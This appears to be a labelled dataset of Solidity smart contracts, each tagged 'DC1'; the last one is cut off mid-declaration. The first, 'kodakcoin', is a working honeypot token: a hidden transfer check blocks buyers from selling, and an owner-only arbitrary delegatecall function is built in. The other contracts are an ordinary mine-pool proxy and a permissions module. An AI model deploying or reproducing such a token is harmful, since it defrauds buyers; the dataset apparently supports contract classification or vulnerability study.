X
stringlengths
111
713k
y
stringclasses
56 values
pragma solidity ^0.5.17; /* kodak coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract kodakcoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// File: contracts\modules\Ownable.sol pragma solidity =0.5.16; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\modules\Managerable.sol pragma solidity =0.5.16; contract Managerable is Ownable { address private _managerAddress; /** * @dev modifier, Only manager can be granted exclusive access to specific functions. * */ modifier onlyManager() { require(_managerAddress == msg.sender,"Managerable: caller is not the Manager"); _; } /** * @dev set manager by owner. * */ function setManager(address managerAddress) public onlyOwner { _managerAddress = managerAddress; } /** * @dev get manager address. * */ function getManager()public view returns (address) { return _managerAddress; } } // File: contracts\modules\Halt.sol pragma solidity =0.5.16; contract Halt is Ownable { bool private halted = false; modifier notHalted() { require(!halted,"This contract is halted"); _; } modifier isHalted() { require(halted,"This contract is not halted"); _; } /// @notice function Emergency situation that requires /// @notice contribution period to stop or not. function setHalt(bool halt) public onlyOwner { halted = halt; } } // File: contracts\modules\whiteList.sol pragma solidity =0.5.16; /** * @dev Implementation of a whitelist which filters a eligible uint32. */ library whiteListUint32 { /** * @dev add uint32 into white list. * @param whiteList the storage whiteList. * @param temp input value */ function addWhiteListUint32(uint32[] storage whiteList,uint32 temp) internal{ if (!isEligibleUint32(whiteList,temp)){ whiteList.push(temp); } } /** * @dev remove uint32 from whitelist. */ function removeWhiteListUint32(uint32[] storage whiteList,uint32 temp)internal returns (bool) { uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } if (i<len){ if (i!=len-1) { whiteList[i] = whiteList[len-1]; } whiteList.length--; return true; } return false; } function isEligibleUint32(uint32[] memory whiteList,uint32 temp) internal pure returns (bool){ uint256 len = whiteList.length; for (uint256 i=0;i<len;i++){ if (whiteList[i] == temp) return true; } return false; } function _getEligibleIndexUint32(uint32[] memory whiteList,uint32 temp) internal pure returns (uint256){ uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } return i; } } /** * @dev Implementation of a whitelist which filters a eligible uint256. */ library whiteListUint256 { // add whiteList function addWhiteListUint256(uint256[] storage whiteList,uint256 temp) internal{ if (!isEligibleUint256(whiteList,temp)){ whiteList.push(temp); } } function removeWhiteListUint256(uint256[] storage whiteList,uint256 temp)internal returns (bool) { uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } if (i<len){ if (i!=len-1) { whiteList[i] = whiteList[len-1]; } whiteList.length--; return true; } return false; } function isEligibleUint256(uint256[] memory whiteList,uint256 temp) internal pure returns (bool){ uint256 len = whiteList.length; for (uint256 i=0;i<len;i++){ if (whiteList[i] == temp) return true; } return false; } function _getEligibleIndexUint256(uint256[] memory whiteList,uint256 temp) internal pure returns (uint256){ uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } return i; } } /** * @dev Implementation of a whitelist which filters a eligible address. */ library whiteListAddress { // add whiteList function addWhiteListAddress(address[] storage whiteList,address temp) internal{ if (!isEligibleAddress(whiteList,temp)){ whiteList.push(temp); } } function removeWhiteListAddress(address[] storage whiteList,address temp)internal returns (bool) { uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } if (i<len){ if (i!=len-1) { whiteList[i] = whiteList[len-1]; } whiteList.length--; return true; } return false; } function isEligibleAddress(address[] memory whiteList,address temp) internal pure returns (bool){ uint256 len = whiteList.length; for (uint256 i=0;i<len;i++){ if (whiteList[i] == temp) return true; } return false; } function _getEligibleIndexAddress(address[] memory whiteList,address temp) internal pure returns (uint256){ uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } return i; } } // File: contracts\modules\AddressWhiteList.sol pragma solidity =0.5.16; /** * @dev Implementation of a whitelist filters a eligible address. */ contract AddressWhiteList is Halt { using whiteListAddress for address[]; uint256 constant internal allPermission = 0xffffffff; uint256 constant internal allowBuyOptions = 1; uint256 constant internal allowSellOptions = 1<<1; uint256 constant internal allowExerciseOptions = 1<<2; uint256 constant internal allowAddCollateral = 1<<3; uint256 constant internal allowRedeemCollateral = 1<<4; // The eligible adress list address[] internal whiteList; mapping(address => uint256) internal addressPermission; /** * @dev Implementation of add an eligible address into the whitelist. * @param addAddress new eligible address. */ function addWhiteList(address addAddress)public onlyOwner{ whiteList.addWhiteListAddress(addAddress); addressPermission[addAddress] = allPermission; } function modifyPermission(address addAddress,uint256 permission)public onlyOwner{ addressPermission[addAddress] = permission; } /** * @dev Implementation of revoke an invalid address from the whitelist. * @param removeAddress revoked address. */ function removeWhiteList(address removeAddress)public onlyOwner returns (bool){ addressPermission[removeAddress] = 0; return whiteList.removeWhiteListAddress(removeAddress); } /** * @dev Implementation of getting the eligible whitelist. */ function getWhiteList()public view returns (address[] memory){ return whiteList; } /** * @dev Implementation of testing whether the input address is eligible. * @param tmpAddress input address for testing. */ function isEligibleAddress(address tmpAddress) public view returns (bool){ return whiteList.isEligibleAddress(tmpAddress); } function checkAddressPermission(address tmpAddress,uint256 state) public view returns (bool){ return (addressPermission[tmpAddress]&state) == state; } } // File: contracts\modules\ReentrancyGuard.sol pragma solidity =0.5.16; contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private reentrancyLock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } } // File: contracts\FNXMinePool\MinePoolData.sol pragma solidity =0.5.16; /** * @title FPTCoin mine pool, which manager contract is FPTCoin. * @dev A smart-contract which distribute some mine coins by FPTCoin balance. * */ contract MinePoolData is Managerable,AddressWhiteList,ReentrancyGuard { //Special decimals for calculation uint256 constant calDecimals = 1e18; // miner's balance // map mineCoin => user => balance mapping(address=>mapping(address=>uint256)) internal minerBalances; // miner's origins, specially used for mine distribution // map mineCoin => user => balance mapping(address=>mapping(address=>uint256)) internal minerOrigins; // mine coins total worth, specially used for mine distribution mapping(address=>uint256) internal totalMinedWorth; // total distributed mine coin amount mapping(address=>uint256) internal totalMinedCoin; // latest time to settlement mapping(address=>uint256) internal latestSettleTime; //distributed mine amount mapping(address=>uint256) internal mineAmount; //distributed time interval mapping(address=>uint256) internal mineInterval; //distributed mine coin amount for buy options user. mapping(address=>uint256) internal buyingMineMap; // user's Opterator indicator uint256 constant internal opBurnCoin = 1; uint256 constant internal opMintCoin = 2; uint256 constant internal opTransferCoin = 3; /** * @dev Emitted when `account` mint `amount` miner shares. */ event MintMiner(address indexed account,uint256 amount); /** * @dev Emitted when `account` burn `amount` miner shares. */ event BurnMiner(address indexed account,uint256 amount); /** * @dev Emitted when `from` redeem `value` mineCoins. */ event RedeemMineCoin(address indexed from, address indexed mineCoin, uint256 value); /** * @dev Emitted when `from` transfer to `to` `amount` mineCoins. */ event TranserMiner(address indexed from, address indexed to, uint256 amount); /** * @dev Emitted when `account` buying options get `amount` mineCoins. */ event BuyingMiner(address indexed account,address indexed mineCoin,uint256 amount); } // File: contracts\Proxy\baseProxy.sol pragma solidity =0.5.16; /** * @title baseProxy Contract */ contract baseProxy is Ownable { address public implementation; constructor(address implementation_) public { // Creator of the contract is admin during initialization implementation = implementation_; (bool success,) = implementation_.delegatecall(abi.encodeWithSignature("initialize()")); require(success); } function getImplementation()public view returns(address){ return implementation; } function setImplementation(address implementation_)public onlyOwner{ implementation = implementation_; (bool success,) = implementation_.delegatecall(abi.encodeWithSignature("update()")); require(success); } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { (bool success, bytes memory returnData) = implementation.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() internal view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() internal returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } } // File: contracts\FNXMinePool\MinePoolProxy.sol pragma solidity =0.5.16; /** * @title FPTCoin mine pool, which manager contract is FPTCoin. * @dev A smart-contract which distribute some mine coins by FPTCoin balance. * */ contract MinePoolProxy is MinePoolData,baseProxy { constructor (address implementation_) baseProxy(implementation_) public{ } /** * @dev default function for foundation input miner coins. */ function()external payable{ } /** * @dev foundation redeem out mine coins. * mineCoin mineCoin address * amount redeem amount. */ function redeemOut(address /*mineCoin*/,uint256 /*amount*/)public{ delegateAndReturn(); } /** * @dev retrieve total distributed mine coins. * mineCoin mineCoin address */ function getTotalMined(address /*mineCoin*/)public view returns(uint256){ delegateToViewAndReturn(); } /** * @dev retrieve minecoin distributed informations. * mineCoin mineCoin address * @return distributed amount and distributed time interval. */ function getMineInfo(address /*mineCoin*/)public view returns(uint256,uint256){ delegateToViewAndReturn(); } /** * @dev retrieve user's mine balance. * account user's account * mineCoin mineCoin address */ function getMinerBalance(address /*account*/,address /*mineCoin*/)public view returns(uint256){ delegateToViewAndReturn(); } /** * @dev Set mineCoin mine info, only foundation owner can invoked. * mineCoin mineCoin address * _mineAmount mineCoin distributed amount * _mineInterval mineCoin distributied time interval */ function setMineCoinInfo(address /*mineCoin*/,uint256 /*_mineAmount*/,uint256 /*_mineInterval*/)public { delegateAndReturn(); } /** * @dev Set the reward for buying options. * mineCoin mineCoin address * _mineAmount mineCoin reward amount */ function setBuyingMineInfo(address /*mineCoin*/,uint256 /*_mineAmount*/)public { delegateAndReturn(); } /** * @dev Get the reward for buying options. * mineCoin mineCoin address */ function getBuyingMineInfo(address /*mineCoin*/)public view returns(uint256){ delegateToViewAndReturn(); } /** * @dev Get the all rewards for buying options. */ function getBuyingMineInfoAll()public view returns(address[] memory,uint256[] memory){ delegateToViewAndReturn(); } /** * @dev transfer mineCoin to recieptor when account transfer amount FPTCoin to recieptor, only manager contract can modify database. * account the account transfer from * recieptor the account transfer to * amount the mine shared amount */ function transferMinerCoin(address /*account*/,address /*recieptor*/,uint256 /*amount*/) public { delegateAndReturn(); } /** * @dev mint mineCoin to account when account add collateral to collateral pool, only manager contract can modify database. * account user's account * amount the mine shared amount */ function mintMinerCoin(address /*account*/,uint256 /*amount*/) public { delegateAndReturn(); } /** * @dev Burn mineCoin to account when account redeem collateral to collateral pool, only manager contract can modify database. * account user's account * amount the mine shared amount */ function burnMinerCoin(address /*account*/,uint256 /*amount*/) public { delegateAndReturn(); } /** * @dev give amount buying reward to account, only manager contract can modify database. * account user's account * amount the buying shared amount */ function addMinerBalance(address /*account*/,uint256 /*amount*/) public { delegateAndReturn(); } /** * @dev changer mine coin distributed amount , only foundation owner can modify database. * mineCoin mine coin address * _mineAmount the distributed amount. */ function setMineAmount(address /*mineCoin*/,uint256 /*_mineAmount*/)public { delegateAndReturn(); } /** * @dev changer mine coin distributed time interval , only foundation owner can modify database. * mineCoin mine coin address * _mineInterval the distributed time interval. */ function setMineInterval(address /*mineCoin*/,uint256 /*_mineInterval*/)public { delegateAndReturn(); } /** * @dev user redeem mine rewards. * mineCoin mine coin address * amount redeem amount. */ function redeemMinerCoin(address /*mineCoin*/,uint256 /*amount*/)public{ delegateAndReturn(); } }
DC1
/* Author: Victor Mezrin [email protected] */ pragma solidity ^0.4.18; /** * @title SafeMathInterface * @dev Math operations with safety checks that throw on error */ contract SafeMathInterface { function safeMul(uint256 a, uint256 b) internal pure returns (uint256); function safeDiv(uint256 a, uint256 b) internal pure returns (uint256); function safeSub(uint256 a, uint256 b) internal pure returns (uint256); function safeAdd(uint256 a, uint256 b) internal pure returns (uint256); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath is SafeMathInterface { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title CommonModifiersInterface * @dev Base contract which contains common checks. */ contract CommonModifiersInterface { /** * @dev Assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _targetAddress) internal constant returns (bool); /** * @dev modifier to allow actions only when the _targetAddress is a contract. */ modifier onlyContractAddress(address _targetAddress) { require(isContract(_targetAddress) == true); _; } } /** * @title CommonModifiers * @dev Base contract which contains common checks. */ contract CommonModifiers is CommonModifiersInterface { /** * @dev Assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _targetAddress) internal constant returns (bool) { require (_targetAddress != address(0x0)); uint256 length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_targetAddress) } return (length > 0); } } /** * @title AssetIDInterface * @dev Interface of a contract that assigned to an asset (JNT, jUSD etc.) * @dev Contracts for the same asset (like JNT, jUSD etc.) will have the same AssetID. * @dev This will help to avoid misconfiguration of contracts */ contract AssetIDInterface { function getAssetID() public constant returns (string); function getAssetIDHash() public constant returns (bytes32); } /** * @title AssetID * @dev Base contract implementing AssetIDInterface */ contract AssetID is AssetIDInterface { /* Storage */ string assetID; /* Constructor */ function AssetID(string _assetID) public { require(bytes(_assetID).length > 0); assetID = _assetID; } /* Getters */ function getAssetID() public constant returns (string) { return assetID; } function getAssetIDHash() public constant returns (bytes32) { return keccak256(assetID); } } /** * @title OwnableInterface * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract OwnableInterface { /** * @dev The getter for "owner" contract variable */ function getOwner() public constant returns (address); /** * @dev Throws if called by any account other than the current owner. */ modifier onlyOwner() { require (msg.sender == getOwner()); _; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable is OwnableInterface { /* Storage */ address owner = address(0x0); address proposedOwner = address(0x0); /* Events */ event OwnerAssignedEvent(address indexed newowner); event OwnershipOfferCreatedEvent(address indexed currentowner, address indexed proposedowner); event OwnershipOfferAcceptedEvent(address indexed currentowner, address indexed proposedowner); event OwnershipOfferCancelledEvent(address indexed currentowner, address indexed proposedowner); /** * @dev The constructor sets the initial `owner` to the passed account. */ function Ownable() public { owner = msg.sender; OwnerAssignedEvent(owner); } /** * @dev Old owner requests transfer ownership to the new owner. * @param _proposedOwner The address to transfer ownership to. */ function createOwnershipOffer(address _proposedOwner) external onlyOwner { require (proposedOwner == address(0x0)); require (_proposedOwner != address(0x0)); require (_proposedOwner != address(this)); proposedOwner = _proposedOwner; OwnershipOfferCreatedEvent(owner, _proposedOwner); } /** * @dev Allows the new owner to accept an ownership offer to contract control. */ //noinspection UnprotectedFunction function acceptOwnershipOffer() external { require (proposedOwner != address(0x0)); require (msg.sender == proposedOwner); address _oldOwner = owner; owner = proposedOwner; proposedOwner = address(0x0); OwnerAssignedEvent(owner); OwnershipOfferAcceptedEvent(_oldOwner, owner); } /** * @dev Old owner cancels transfer ownership to the new owner. */ function cancelOwnershipOffer() external { require (proposedOwner != address(0x0)); require (msg.sender == owner || msg.sender == proposedOwner); address _oldProposedOwner = proposedOwner; proposedOwner = address(0x0); OwnershipOfferCancelledEvent(owner, _oldProposedOwner); } /** * @dev The getter for "owner" contract variable */ function getOwner() public constant returns (address) { return owner; } /** * @dev The getter for "proposedOwner" contract variable */ function getProposedOwner() public constant returns (address) { return proposedOwner; } } /** * @title ManageableInterface * @dev Contract that allows to grant permissions to any address * @dev In real life we are no able to perform all actions with just one Ethereum address * @dev because risks are too high. * @dev Instead owner delegates rights to manage an contract to the different addresses and * @dev stay able to revoke permissions at any time. */ contract ManageableInterface { /** * @dev Function to check if the manager can perform the action or not * @param _manager address Manager`s address * @param _permissionName string Permission name * @return True if manager is enabled and has been granted needed permission */ function isManagerAllowed(address _manager, string _permissionName) public constant returns (bool); /** * @dev Modifier to use in derived contracts */ modifier onlyAllowedManager(string _permissionName) { require(isManagerAllowed(msg.sender, _permissionName) == true); _; } } contract Manageable is OwnableInterface, ManageableInterface { /* Storage */ mapping (address => bool) managerEnabled; // hard switch for a manager - on/off mapping (address => mapping (string => bool)) managerPermissions; // detailed info about manager`s permissions /* Events */ event ManagerEnabledEvent(address indexed manager); event ManagerDisabledEvent(address indexed manager); event ManagerPermissionGrantedEvent(address indexed manager, string permission); event ManagerPermissionRevokedEvent(address indexed manager, string permission); /* Configure contract */ /** * @dev Function to add new manager * @param _manager address New manager */ function enableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) { require(managerEnabled[_manager] == false); managerEnabled[_manager] = true; ManagerEnabledEvent(_manager); } /** * @dev Function to remove existing manager * @param _manager address Existing manager */ function disableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) { require(managerEnabled[_manager] == true); managerEnabled[_manager] = false; ManagerDisabledEvent(_manager); } /** * @dev Function to grant new permission to the manager * @param _manager address Existing manager * @param _permissionName string Granted permission name */ function grantManagerPermission( address _manager, string _permissionName ) external onlyOwner onlyValidManagerAddress(_manager) onlyValidPermissionName(_permissionName) { require(managerPermissions[_manager][_permissionName] == false); managerPermissions[_manager][_permissionName] = true; ManagerPermissionGrantedEvent(_manager, _permissionName); } /** * @dev Function to revoke permission of the manager * @param _manager address Existing manager * @param _permissionName string Revoked permission name */ function revokeManagerPermission( address _manager, string _permissionName ) external onlyOwner onlyValidManagerAddress(_manager) onlyValidPermissionName(_permissionName) { require(managerPermissions[_manager][_permissionName] == true); managerPermissions[_manager][_permissionName] = false; ManagerPermissionRevokedEvent(_manager, _permissionName); } /* Getters */ /** * @dev Function to check manager status * @param _manager address Manager`s address * @return True if manager is enabled */ function isManagerEnabled( address _manager ) public constant onlyValidManagerAddress(_manager) returns (bool) { return managerEnabled[_manager]; } /** * @dev Function to check permissions of a manager * @param _manager address Manager`s address * @param _permissionName string Permission name * @return True if manager has been granted needed permission */ function isPermissionGranted( address _manager, string _permissionName ) public constant onlyValidManagerAddress(_manager) onlyValidPermissionName(_permissionName) returns (bool) { return managerPermissions[_manager][_permissionName]; } /** * @dev Function to check if the manager can perform the action or not * @param _manager address Manager`s address * @param _permissionName string Permission name * @return True if manager is enabled and has been granted needed permission */ function isManagerAllowed( address _manager, string _permissionName ) public constant onlyValidManagerAddress(_manager) onlyValidPermissionName(_permissionName) returns (bool) { return (managerEnabled[_manager] && managerPermissions[_manager][_permissionName]); } /* Helpers */ /** * @dev Modifier to check manager address */ modifier onlyValidManagerAddress(address _manager) { require(_manager != address(0x0)); _; } /** * @dev Modifier to check name of manager permission */ modifier onlyValidPermissionName(string _permissionName) { require(bytes(_permissionName).length != 0); _; } } /** * @title PausableInterface * @dev Base contract which allows children to implement an emergency stop mechanism. * @dev Based on zeppelin's Pausable, but integrated with Manageable * @dev Contract is in paused state by default and should be explicitly unlocked */ contract PausableInterface { /** * Events */ event PauseEvent(); event UnpauseEvent(); /** * @dev called by the manager to pause, triggers stopped state */ function pauseContract() public; /** * @dev called by the manager to unpause, returns to normal state */ function unpauseContract() public; /** * @dev The getter for "paused" contract variable */ function getPaused() public constant returns (bool); /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenContractNotPaused() { require(getPaused() == false); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenContractPaused { require(getPaused() == true); _; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. * @dev Based on zeppelin's Pausable, but integrated with Manageable * @dev Contract is in paused state by default and should be explicitly unlocked */ contract Pausable is ManageableInterface, PausableInterface { /** * Storage */ bool paused = true; /** * @dev called by the manager to pause, triggers stopped state */ function pauseContract() public onlyAllowedManager('pause_contract') whenContractNotPaused { paused = true; PauseEvent(); } /** * @dev called by the manager to unpause, returns to normal state */ function unpauseContract() public onlyAllowedManager('unpause_contract') whenContractPaused { paused = false; UnpauseEvent(); } /** * @dev The getter for "paused" contract variable */ function getPaused() public constant returns (bool) { return paused; } } /** * @title BytecodeExecutorInterface interface * @dev Implementation of a contract that execute any bytecode on behalf of the contract * @dev Last resort for the immutable and not-replaceable contract :) */ contract BytecodeExecutorInterface { /* Events */ event CallExecutedEvent(address indexed target, uint256 suppliedGas, uint256 ethValue, bytes32 transactionBytecodeHash); event 